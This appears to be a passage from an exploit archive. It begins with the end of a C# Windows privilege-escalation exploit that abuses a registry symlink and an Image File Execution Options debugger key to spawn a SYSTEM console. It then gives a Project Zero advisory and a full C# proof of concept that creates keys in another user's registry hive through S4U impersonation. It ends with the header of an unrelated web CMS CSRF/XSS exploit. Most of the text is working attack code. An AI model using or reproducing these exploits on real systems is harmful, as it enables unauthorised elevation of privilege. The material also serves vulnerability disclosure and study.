        IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo);
    }
    
    static bool DoExploit()
    {
      SafeRegistryHandle symbolic_link = null;
      
      try
      {
        string device_name = FindFirstAccessibleDevice();
        if (device_name != null)
        {
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
        }
        else
        {
          throw new ArgumentException("Couldn't find a valid device");
        }

        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          StatusToNtException(NtDeleteKey(key.Handle));
        }

        Console.WriteLine("[SUCCESS]: Deleted leaf key");

        using (RegistryKey profile_key = OpenProfileKey(null))
        {          
          symbolic_link = CreateSymbolicLink(profile_key.Handle, device_name, 
            @"\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe");
        }

        Console.WriteLine("[SUCCESS]: Created symbolic link");
        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          key.SetValue("Debugger", String.Format("\"{0}\" {1}", Assembly.GetCallingAssembly().Location, GetSessionId()));
          Console.WriteLine("[SUCCESS]: Created IFEO key");
          EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\{376693BE-1931-4AF9-8D56-C629F9094745}");
          Process p = Process.Start("schtasks", @"/Run /TN ""\Microsoft\Windows\Customer Experience Improvement Program\Consolidator""");
          ev.WaitOne();

          NtDeleteKey(key.Handle);
        } 
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
      finally
      {
        if (symbolic_link != null)
        {
          NtDeleteKey(symbolic_link);
        }
      }
      return false;
    }    
    
    static int GetSessionId()
    {
      using (Process p = Process.GetCurrentProcess())
      {
        return p.SessionId;
      }
    }    
    
    static void Main(string[] args)
    {    
      if (GetSessionId() > 0)
      {
        DoExploit();
      }
      else
      {
        Console.WriteLine("[SUCCESS]: Running as service");
        EventWaitHandle ev = EventWaitHandle.OpenExisting(@"Global\{376693BE-1931-4AF9-8D56-C629F9094745}", EventWaitHandleRights.Modify);
        ev.Set();
        if (args.Length > 1)
        {
          int session_id;
          if (!int.TryParse(args[0], out session_id))
          {
            session_id = 0;
          }
          SpawnInteractiveCmd(session_id);
        }
      }
    }
  }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=875

Windows: DeviceApi CMApi User Hive Impersonation EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PnpCtxRegOpenCurrentUserKey function doesn’t check the impersonation level of the current effective token allowing a normal user to create arbitrary registry keys in another user’s loaded hive leading to elevation of privilege.

Description:

For some of the CMApi IOCTLs you can specify a flag, 0x100 which indicates you want the keys to opened in the user’s hive rather than the system hive. It finds the root key by calling PnpCtxRegOpenCurrentUserKey which calls ZwQueryInformationToken for the TOKEN_USER structure, converts the SID to a string, appends it to \Registry\User and opens the key in kernel mode. No part of this process verifies that the effective token isn’t an impersonation token at identification level, this means that capturing another user’s token, or using something like S4U we can impersonate another logged on user and write registry keys into their hive. Combined with the fact that registry keys are created with kernel privileges (even when dealing with user hives, when it clearly shouldn’t) when the keys are actually created the access check is bypassed.

The obvious way of exploiting this is to use the PiCMOpenDeviceKey IOCTL I’ve already reported in issue 34167. We can do a similar trick but instead symlink to keys inside the user’s hive to get elevation. One issue is that when the keys are created in kernel mode they’ll typically not be accessible by the user due to the default inherited permissions on a user’s hive. However there’s a winnable race between when the user hive is accessed and when the keys are created, by clearing the thread token from another thread at the right moment the user hive will be the target user but the keys are created as the current user. While this doesn’t directly give us access to the keys through the DACL it does mark us as the owner of the key and so we can open it for WRITE_DAC access and change the DACL to give us access, then do a similar symlink trick to 34167 to elevate privileges.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It requires some setup first, to create the other user. Also this only demonstrates the arbitrary creation, it doesn’t attempt to win the race condition. 

1) Compile the C# source code file.
2) Create a second user on the local system as an admin, start a program running as that user so that their hive is loaded (using either runas or fast user switching).
3) Execute the PoC executable as a normal user, passing as an argument the name of the other user
3) The PoC should print that it failed to get the key (this is related to the key being opened under identification level impersonation) however using a registry viewer observe that under HKU\User-SID\SYSTEM\CurrentControlSet\Enum the device key’s been created.

Expected Result:
The key access should fail

Observed Result:
The key creation succeeds inside the other user’s hive.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace PoC
{
  /// <remarks>
  /// This sample uses S4U security, which requires Windows Server 2003 and a W2003 domain controller
  /// Copied from pinvoke.net with minor changes to get it to actually work.
  /// </remarks>
  public sealed class CCWinLogonUtilities
  {
    private CCWinLogonUtilities()
    {
    }

    #region "Win32 stuff"
    private class Win32
    {
      internal class OSCalls
      {
        public enum WinStatusCodes : uint
        {
          STATUS_SUCCESS = 0
        }

        public enum WinErrors : uint
        {
          NO_ERROR = 0,
        }
        public enum WinLogonType
        {
          LOGON32_LOGON_INTERACTIVE = 2,
          LOGON32_LOGON_NETWORK = 3,
          LOGON32_LOGON_BATCH = 4,
          LOGON32_LOGON_SERVICE = 5,
          LOGON32_LOGON_UNLOCK = 7,
          LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
          LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        // SECURITY_LOGON_TYPE
        public enum SecurityLogonType
        {
          Interactive = 2,    // Interactively logged on (locally or remotely)
          Network,        // Accessing system via network
          Batch,          // Started via a batch queue
          Service,        // Service started by service controller
          Proxy,          // Proxy logon
          Unlock,         // Unlock workstation
          NetworkCleartext,   // Network logon with cleartext credentials
          NewCredentials,     // Clone caller, new default credentials
          RemoteInteractive,  // Remote, yet interactive. Terminal server
          CachedInteractive,  // Try cached credentials without hitting the net.
          CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose
          CachedUnlock    // Cached Unlock workstation
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_UNICODE_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public IntPtr Buffer;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct TOKEN_SOURCE
        {
          public TOKEN_SOURCE(string name)
          {
            SourceName = new byte[8];
            System.Text.Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
            if (!AllocateLocallyUniqueId(out SourceIdentifier))
              throw new System.ComponentModel.Win32Exception();
          }

          [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
          public byte[] SourceName;
          public UInt64 SourceIdentifier;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct QUOTA_LIMITS
        {
          UInt32 PagedPoolLimit;
          UInt32 NonPagedPoolLimit;
          UInt32 MinimumWorkingSetSize;
          UInt32 MaximumWorkingSetSize;
          UInt32 PagefileLimit;
          Int64 TimeLimit;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public /*PCHAR*/ IntPtr Buffer;
        }

        public class LsaStringWrapper : IDisposable
        {
          public LSA_STRING _string;

          public LsaStringWrapper(string value)
          {
            _string = new LSA_STRING();
            _string.Length = (ushort)value.Length;
            _string.MaximumLength = (ushort)value.Length;
            _string.Buffer = Marshal.StringToHGlobalAnsi(value);
          }

          ~LsaStringWrapper()
          {
            Dispose(false);
          }

          private void Dispose(bool disposing)
          {
            if (_string.Buffer != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_string.Buffer);
              _string.Buffer = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        public class KerbS4ULogon : IDisposable
        {
          [StructLayout(LayoutKind.Sequential)]
          public struct KERB_S4U_LOGON
          {
            public Int32 MessageType;    // Should be 12
            public Int32 Flags; // Reserved, should be 0
            public LSA_UNICODE_STRING ClientUpn;   // REQUIRED: UPN for client
            public LSA_UNICODE_STRING ClientRealm; // Optional: Client Realm, if known
          }

          public KerbS4ULogon(string clientUpn) : this(clientUpn, null)
          {
          }

          public KerbS4ULogon(string clientUpn, string clientRealm)
          {
            int clientUpnLen = (clientUpn == null) ? 0 : clientUpn.Length;
            int clientRealmLen = (clientRealm == null) ? 0 : clientRealm.Length;
            _bufferLength = Marshal.SizeOf(typeof(KERB_S4U_LOGON)) + 2 * (clientUpnLen + clientRealmLen);
            _bufferContent = Marshal.AllocHGlobal(_bufferLength);
            if (_bufferContent == IntPtr.Zero)
              throw new OutOfMemoryException("Could not allocate memory for KerbS4ULogon structure");
            try
            {
              KERB_S4U_LOGON baseStructure = new KERB_S4U_LOGON();
              baseStructure.MessageType = 12;    // KerbS4ULogon
              baseStructure.Flags = 0;
              baseStructure.ClientUpn.Length = (UInt16)(2 * clientUpnLen);
              baseStructure.ClientUpn.MaximumLength = (UInt16)(2 * clientUpnLen);
              IntPtr curPtr = new IntPtr(_bufferContent.ToInt64() + Marshal.SizeOf(typeof(KERB_S4U_LOGON)));

              if (clientUpnLen > 0)
              {
                baseStructure.ClientUpn.Buffer = curPtr;
                Marshal.Copy(clientUpn.ToCharArray(), 0, curPtr, clientUpnLen);
                curPtr = new IntPtr(curPtr.ToInt64() + clientUpnLen * 2);
              }
              else
                baseStructure.ClientUpn.Buffer = IntPtr.Zero;
              baseStructure.ClientRealm.Length = (UInt16)(2 * clientRealmLen);
              baseStructure.ClientRealm.MaximumLength = (UInt16)(2 * clientRealmLen);
              if (clientRealmLen > 0)
              {
                baseStructure.ClientRealm.Buffer = curPtr;
                Marshal.Copy(clientRealm.ToCharArray(), 0, curPtr, clientRealmLen);
              }
              else
                baseStructure.ClientRealm.Buffer = IntPtr.Zero;
              Marshal.StructureToPtr(baseStructure, _bufferContent, false);
            }
            catch
            {
              Dispose(true);
              throw;
            }
          }

          private IntPtr _bufferContent;
          private int _bufferLength;

          public IntPtr Ptr
          {
            get { return _bufferContent; }
          }

          public int Length
          {
            get { return _bufferLength; }
          }

          private void Dispose(bool disposing)
          {
            if (_bufferContent != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_bufferContent);
              _bufferContent = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          ~KerbS4ULogon()
          {
            Dispose(false);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = false)]
        public static extern WinErrors LsaNtStatusToWinError(WinStatusCodes status);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool AllocateLocallyUniqueId([Out] out UInt64 Luid);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern int CloseHandle(IntPtr hObject);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaLogonUser(
            [In] IntPtr LsaHandle,
            [In] ref LSA_STRING OriginName,
            [In] SecurityLogonType LogonType,
            [In] UInt32 AuthenticationPackage,
            [In] IntPtr AuthenticationInformation,
            [In] UInt32 AuthenticationInformationLength,
            [In] /*PTOKEN_GROUPS*/ IntPtr LocalGroups,
            [In] ref TOKEN_SOURCE SourceContext,
            [Out] /*PVOID*/ out IntPtr ProfileBuffer,
            [Out] out UInt32 ProfileBufferLength,
            [Out] out Int64 LogonId,
            [Out] out IntPtr Token,
            [Out] out QUOTA_LIMITS Quotas,
            [Out] out WinStatusCodes SubStatus
            );

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaFreeReturnBuffer(
            [In] IntPtr buffer);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaConnectUntrusted([Out] out IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaDeregisterLogonProcess([In] IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out UInt32 AuthenticationPackage);

      }

      public sealed class HandleSecurityToken
          : IDisposable
      {
        private IntPtr m_hToken = IntPtr.Zero;

        // using S4U logon
        public HandleSecurityToken(string UserName,
            string Domain,
            OSCalls.WinLogonType LogonType
            )
        {
          using (OSCalls.KerbS4ULogon authPackage = new OSCalls.KerbS4ULogon(UserName, Domain))
          {
            IntPtr lsaHandle;
            OSCalls.WinStatusCodes status = OSCalls.LsaConnectUntrusted(out lsaHandle);
            if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
              throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
            try
            {
              UInt32 kerberosPackageId;
              using (OSCalls.LsaStringWrapper kerberosPackageName = new OSCalls.LsaStringWrapper("Negotiate"))
              {
                status = OSCalls.LsaLookupAuthenticationPackage(lsaHandle, ref kerberosPackageName._string, out kerberosPackageId);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
              }
              OSCalls.LsaStringWrapper originName = null;
              try
              {
                originName = new OSCalls.LsaStringWrapper("S4U");
                OSCalls.TOKEN_SOURCE sourceContext = new OSCalls.TOKEN_SOURCE("NtLmSsp");
                System.IntPtr profileBuffer = IntPtr.Zero;
                UInt32 profileBufferLength = 0;
                Int64 logonId;
                OSCalls.WinStatusCodes subStatus;
                OSCalls.QUOTA_LIMITS quotas;
                status = OSCalls.LsaLogonUser(
                    lsaHandle,
                    ref originName._string,
                    (OSCalls.SecurityLogonType)LogonType,
                    kerberosPackageId,
                    authPackage.Ptr,
                    (uint)authPackage.Length,
                    IntPtr.Zero,
                    ref sourceContext,
                    out profileBuffer,
                    out profileBufferLength,
                    out logonId,
                    out m_hToken,
                    out quotas,
                    out subStatus);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
                if (profileBuffer != IntPtr.Zero)
                  OSCalls.LsaFreeReturnBuffer(profileBuffer);
              }
              finally
              {
                if (originName != null)
                  originName.Dispose();
              }
            }
            finally
            {
              OSCalls.LsaDeregisterLogonProcess(lsaHandle);
            }
          }
        }

        ~HandleSecurityToken()
        {
          Dispose(false);
        }

        public void Dispose()
        {
          Dispose(true);
        }

        private void Dispose(bool disposing)
        {
          lock (this)
          {
            if (!m_hToken.Equals(IntPtr.Zero))
            {
              OSCalls.CloseHandle(m_hToken);
              m_hToken = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }
        }

        public System.Security.Principal.WindowsIdentity BuildIdentity()
        {
          System.Security.Principal.WindowsIdentity retVal = new System.Security.Principal.WindowsIdentity(m_hToken);
          GC.KeepAlive(this);
          return retVal;
        }
      }

    }

    #endregion

    /// <summary>
    /// The Windows Logon Types.
    /// </summary>
    public enum WinLogonType
    {
      /// <summary>
      /// Interactive logon
      /// </summary>
      LOGON32_LOGON_INTERACTIVE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_INTERACTIVE,
      /// <summary>
      /// Network logon
      /// </summary>
      LOGON32_LOGON_NETWORK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK,
      /// <summary>
      /// Batch logon
      /// </summary>
      LOGON32_LOGON_BATCH = Win32.OSCalls.WinLogonType.LOGON32_LOGON_BATCH,
      /// <summary>
      /// Logon as a service
      /// </summary>
      LOGON32_LOGON_SERVICE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_SERVICE,
      /// <summary>
      /// Unlock logon
      /// </summary>
      LOGON32_LOGON_UNLOCK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_UNLOCK,
      /// <summary>
      /// Preserve password logon
      /// </summary>
      LOGON32_LOGON_NETWORK_CLEARTEXT = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK_CLEARTEXT,
      /// <summary>
      /// Current token for local access, credentials for network access
      /// </summary>
      LOGON32_LOGON_NEW_CREDENTIALS = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NEW_CREDENTIALS
    }

    /// <summary>
    /// Logs in a credential for server apps. No need to provide password.
    /// </summary>
    /// <param name="credential">The credential to log in. Password is ignored.</param>
    /// <param name="logonType">The type of logon to use</param>
    /// <remarks>
    /// Requires Windows Server 2003 domain account running in Win2003 native domain mode
    /// </remarks>
    /// <returns>Returns a <c>System.Security.Principal.WindowsIdentity</c> object</returns>
    /// Raises an exception with error information if the user cannot log in
    public static System.Security.Principal.WindowsIdentity CreateIdentityS4U(System.Net.NetworkCredential credential, WinLogonType logonType)
    {
      using (Win32.HandleSecurityToken handleToken =
                  new Win32.HandleSecurityToken(credential.UserName, credential.Domain, (Win32.OSCalls.WinLogonType)logonType))
        return handleToken.BuildIdentity();
    }


    class Program
    {
      [Flags]
      public enum AttributeFlags : uint
      {
        None = 0,
        Inherit = 0x00000002,
        Permanent = 0x00000010,
        Exclusive = 0x00000020,
        CaseInsensitive = 0x00000040,
        OpenIf = 0x00000080,
        OpenLink = 0x00000100,
        KernelHandle = 0x00000200,
        ForceAccessCheck = 0x00000400,
        IgnoreImpersonatedDevicemap = 0x00000800,
        DontReparse = 0x00001000,
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class UnicodeString
      {
        ushort Length;
        ushort MaximumLength;
        [MarshalAs(UnmanagedType.LPWStr)]
        string Buffer;

        public UnicodeString(string str)
        {
          Length = (ushort)(str.Length * 2);
          MaximumLength = (ushort)((str.Length * 2) + 1);
          Buffer = str;
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class ObjectAttributes : IDisposable
      {
        int Length;
        IntPtr RootDirectory;
        IntPtr ObjectName;
        AttributeFlags Attributes;
        IntPtr SecurityDescriptor;
        IntPtr SecurityQualityOfService;

        private static IntPtr AllocStruct(object s)
        {
          int size = Marshal.SizeOf(s);
          IntPtr ret = Marshal.AllocHGlobal(size);
          Marshal.StructureToPtr(s, ret, false);
          return ret;
        }

        private static void FreeStruct(ref IntPtr p, Type struct_type)
        {
          Marshal.DestroyStructure(p, struct_type);
          Marshal.FreeHGlobal(p);
          p = IntPtr.Zero;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
        {
          Length = Marshal.SizeOf(this);
          if (object_name != null)
          {
            ObjectName = AllocStruct(new UnicodeString(object_name));
          }
          Attributes = flags;
          RootDirectory = rootkey;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags)
          : this(object_name, flags, IntPtr.Zero)
        {
        }

        public void Dispose()
        {
          if (ObjectName != IntPtr.Zero)
          {
            FreeStruct(ref ObjectName, typeof(UnicodeString));
          }
          GC.SuppressFinalize(this);
        }

        ~ObjectAttributes()
        {
          Dispose();
        }
      }

      [Flags]
      public enum LoadKeyFlags
      {
        None = 0,
        AppKey = 0x10,
        Exclusive = 0x20,
        Unknown800 = 0x800,
        ReadOnly = 0x2000,
      }

      [Flags]
      public enum GenericAccessRights : uint
      {
        None = 0,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      public class NtException : ExternalException
      {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string modulename);

        [Flags]
        enum FormatFlags
        {
          AllocateBuffer = 0x00000100,
          FromHModule = 0x00000800,
          FromSystem = 0x00001000,
          IgnoreInserts = 0x00000200
        }

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern int FormatMessage(
          FormatFlags dwFlags,
          IntPtr lpSource,
          int dwMessageId,
          int dwLanguageId,
          out IntPtr lpBuffer,
          int nSize,
          IntPtr Arguments
        );

        [DllImport("kernel32.dll")]
        private static extern IntPtr LocalFree(IntPtr p);

        private static string StatusToString(int status)
        {
          IntPtr buffer = IntPtr.Zero;
          try
          {
            if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
            {
              return Marshal.PtrToStringUni(buffer);
            }
          }
          finally
          {
            if (buffer != IntPtr.Zero)
            {
              LocalFree(buffer);
            }
          }
          return String.Format("Unknown Error: 0x{0:X08}", status);
        }

        public NtException(int status) : base(StatusToString(status))
        {
        }
      }

      public static void StatusToNtException(int status)
      {
        if (status < 0)
        {
          throw new NtException(status);
        }
      }


      [Flags]
      public enum FileOpenOptions
      {
        None = 0,
        DirectoryFile = 0x00000001,
        WriteThrough = 0x00000002,
        SequentialOnly = 0x00000004,
        NoIntermediateBuffering = 0x00000008,
        SynchronousIoAlert = 0x00000010,
        SynchronousIoNonAlert = 0x00000020,
        NonDirectoryFile = 0x00000040,
        CreateTreeConnection = 0x00000080,
        CompleteIfOplocked = 0x00000100,
        NoEaKnowledge = 0x00000200,
        OpenRemoteInstance = 0x00000400,
        RandomAccess = 0x00000800,
        DeleteOnClose = 0x00001000,
        OpenByFileId = 0x00002000,
        OpenForBackupIntent = 0x00004000,
        NoCompression = 0x00008000,
        OpenRequiringOplock = 0x00010000,
        ReserveOpfilter = 0x00100000,
        OpenReparsePoint = 0x00200000,
        OpenNoRecall = 0x00400000,
        OpenForFreeSpaceQuery = 0x00800000
      }

      public class IoStatusBlock
      {
        public IntPtr Pointer;
        public IntPtr Information;

        public IoStatusBlock(IntPtr pointer, IntPtr information)
        {
          Pointer = pointer;
          Information = information;
        }

        public IoStatusBlock()
        {
        }
      }

      [Flags]
      public enum ShareMode
      {
        None = 0,
        Read = 0x00000001,
        Write = 0x00000002,
        Delete = 0x00000004,
      }

      [Flags]
      public enum FileAccessRights : uint
      {
        None = 0,
        ReadData = 0x0001,
        WriteData = 0x0002,
        AppendData = 0x0004,
        ReadEa = 0x0008,
        WriteEa = 0x0010,
        Execute = 0x0020,
        DeleteChild = 0x0040,
        ReadAttributes = 0x0080,
        WriteAttributes = 0x0100,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      [DllImport("ntdll.dll")]
      public static extern int NtOpenFile(
          out IntPtr FileHandle,
          FileAccessRights DesiredAccess,
          ObjectAttributes ObjAttr,
          [In] [Out] IoStatusBlock IoStatusBlock,
          ShareMode ShareAccess,
          FileOpenOptions OpenOptions);

      [DllImport("ntdll.dll")]
      public static extern int NtDeviceIoControlFile(
        SafeFileHandle FileHandle,
        IntPtr Event,
        IntPtr ApcRoutine,
        IntPtr ApcContext,
        [In] [Out] IoStatusBlock IoStatusBlock,
        uint IoControlCode,
        SafeHGlobalBuffer InputBuffer,
        int InputBufferLength,
        SafeHGlobalBuffer OutputBuffer,
        int OutputBufferLength
      );

      static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
      {
        using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
        {
          using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
          {
            IoStatusBlock status = new IoStatusBlock();
            StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
              IntPtr.Zero, status, IoControlCode, input, input.Length,
              output, output.Length));

            return output.Result;
          }
        }
      }

      public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
      {
        AttributeFlags flags = AttributeFlags.CaseInsensitive;
        if (inherit)
          flags |= AttributeFlags.Inherit;
        using (ObjectAttributes obja = new ObjectAttributes(name, flags))
        {
          IntPtr handle;
          IoStatusBlock iostatus = new IoStatusBlock();
          StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
          return new SafeFileHandle(handle, true);
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      class CmApiOpenKeyData
      {
        public int cbSize; // 0
        public int device_type; // 4
        public int callback_id; // 8
        [MarshalAs(UnmanagedType.LPWStr)]
        public string name;  // c
        public int name_size; // 10
        public GenericAccessRights desired_access; // 14	
        public int create; // 18
        public int hardware_id; // 1c
        public int return_data_size; // 20

        public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
        {
          this.cbSize = Marshal.SizeOf(this);
          this.device_type = device_type;
          this.callback_id = callback_id;
          this.name = name;
          this.name_size = (name.Length + 1) * 2;
          this.desired_access = desired_access;
          this.create = create ? 1 : 0;
          this.hardware_id = hardware_id;
          this.return_data_size = return_data_size;
        }
      }

      [StructLayout(LayoutKind.Sequential)]
      class CmApiOpenKeyResult
      {
        int size;
        public int status;
        public long handle;
      };

      public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
      {
        public SafeHGlobalBuffer(int length)
          : this(Marshal.AllocHGlobal(length), length, true)
        {
        }

        public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
          : base(owns_handle)
        {
          Length = length;
          SetHandle(buffer);
        }

        public int Length
        {
          get; private set;
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.FreeHGlobal(handle);
            handle = IntPtr.Zero;
          }
          return true;
        }
      }

      public class SafeStructureBuffer : SafeHGlobalBuffer
      {
        Type _type;

        public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
        {
          _type = value.GetType();
          Marshal.StructureToPtr(value, handle, false);
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.DestroyStructure(handle, _type);
          }
          return base.ReleaseHandle();
        }
      }

      public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
      {
        public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
        {
        }

        public T Result
        {
          get
          {
            if (IsInvalid)
              throw new ObjectDisposedException("handle");

            return Marshal.PtrToStructure<T>(handle);
          }
        }
      }

      static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
      {
        if (current_depth == maxdepth)
        {
          names.Add(String.Join(@"\", name_parts));
        }
        else
        {
          foreach (string subkey in rootkey.GetSubKeyNames())
          {
            using (RegistryKey key = rootkey.OpenSubKey(subkey))
            {
              if (key != null)
              {
                EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);
              }
            }
          }
        }
      }

      static IEnumerable<string> GetValidDeviceNames()
      {
        List<string> names = new List<string>();
        using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
        {
          EnumKeys(rootkey, new string[0], names, 3, 0);
        }
        return names;
      }      

      static void CreateDeviceKey(string device_name, WindowsIdentity identity)
      {
        using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
          ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
        {
          CmApiOpenKeyData data = new CmApiOpenKeyData(0x111, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
          CmApiOpenKeyResult result = null;
          WindowsImpersonationContext ctx = null;
          if (identity != null)
          {
            ctx = identity.Impersonate();
          }
          try
          {
            result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
          }
          finally
          {
            if (ctx != null)
            {
              ctx.Undo();
            }
          }

          StatusToNtException(result.status);
        }
      }

      static bool DoExploit(string username)
      {
        try
        {
          WindowsIdentity id = CCWinLogonUtilities.CreateIdentityS4U(new NetworkCredential(username, "", Environment.UserDomainName),
            CCWinLogonUtilities.WinLogonType.LOGON32_LOGON_NETWORK);
          bool found_hive = false;
          foreach (string subkey in Registry.Users.GetSubKeyNames())
          {
            string user_name = id.User.ToString();
            if (subkey.Equals(user_name, StringComparison.OrdinalIgnoreCase))
            {
              found_hive = true;
              break;
            }
          }

          if (!found_hive)
          {
            throw new ArgumentException("Couldn't find user hive, make sure the user's logged on");
          }
                    
          string device_name = GetValidDeviceNames().First();          
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
          
          CreateDeviceKey(device_name, id);
        }
        catch (Exception ex)
        {
          Console.WriteLine("[ERROR]: {0}", ex.ToString());
        }

        return false;
      }

      static int GetSessionId()
      {
        using (Process p = Process.GetCurrentProcess())
        {
          return p.SessionId;
        }
      }

      static void Main(string[] args)
      {
        if (args.Length < 1)
        {
          Console.WriteLine("Usage: PoC username");
        }
        else
        {
          DoExploit(args[0]);
        }
      }
    }
  }
}
            
# Exploit Title: XhP CMS 0.5.1 - Cross-Site Request Forgery to Persistent Cross-Site Scripting
# Exploit Author: Ahsan Tahir
# Date: 19-10-2016
# Software Link: https://sourceforge.net/projects/xhp/
# Vendor: https://sourceforge.net/projects/xhp/
# Google Dork: inurl:Powered by XHP CMS
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsan-tahir.com
# Category: webapps
# Version: 0.5.1
